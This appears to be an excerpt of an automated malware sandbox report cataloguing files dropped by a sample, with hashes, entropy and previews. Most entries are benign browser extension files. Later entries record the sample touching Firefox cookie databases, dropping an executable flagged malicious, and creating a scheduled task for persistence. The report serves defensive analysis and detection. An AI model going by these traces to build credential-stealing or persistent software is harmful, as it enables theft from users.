Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCFIECBFIDG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1966080
Entropy (8bit):	7.950980569505603
Encrypted:	false
SSDEEP:	49152:1X+Zn8fcN9XJSwwkjd7FgX5I0F7e/b6G9cG:1uZ8fcfXOkjZFgN0QG
MD5:	B1734D770AB1E0F7B6DF002639FF531C
SHA1:	D442F4E30AFED1447F761A2584EFDD1B0B8FEFB5
SHA-256:	65FA749BBB474E7E55A002CC9D2954FBF8720746F34D2967B99D0E78BD1AEB48
SHA-512:	FD12BDB3AA07AF978736FBD0559D6AAF16E18A01E5BBB7512FE93020CAEC116E1D8B3CB0C411587D6DAD1D88E49DF20C0C94923329A7F164297AC536A2E3410D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@...........................M...........@.................................W...k.......D...................H.M...............................M..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...jexkdxjd......2.....................@...jghdqcql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCFIECBFIDG.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4291881940483213
Encrypted:	false
SSDEEP:	6:nDux9/VXUhXUEZ+lX1CGdKUe6tE9+AQy0lB06Et0:GR4Q1CGAFD9+nVB06Et0
MD5:	75DD9EC77152A27754133CED498B7B94
SHA1:	962280B50C34EE20285B7D16AFE9218A71753ADC
SHA-256:	9E95EF4FA106C38CD705A836E0268350C15C1DC357BCCFD081565E2EB71C6F79
SHA-512:	47E9141F6FA160F68348A4C8C99CB1E70716E7A40C043A87CFDB9CA6FE697D23D1CC65C88A4B16937B1D95CBECA2AFD445EA4605557C0A098C892C2106F46C93
Malicious:	false
Preview:	.....2z.}l.G.T......F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................7.@3P.........................

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6623)
Category:	downloaded
Size (bytes):	6628
Entropy (8bit):	5.783749324709914
Encrypted:	false
SSDEEP:	192:CEIN6666Ve71hTIzfP30Q+H6666ciI91NEkzJ96YHK9AQ:CE+666681S70Q+H6666Fc11JqeQ
MD5:	A08C70522A16D46CEA55F381AAC60B4A
SHA1:	41B1A08C023ACFE8075C93D4ACD4D28BA5440695
SHA-256:	C824DE01D720EFC309955BA9368C4F96D52B78E5E815A5AACC00C490EA408C6C
SHA-512:	1D1ECC6EAD24DCAF7A859DF8F44F454C9434C6BA79E7E5DD29BF450D566AF4E1E7598ED81710B6278CA0CE15BDF0A1461AAF4D889065BC8E9221A30CA3107FF2
Malicious:	false
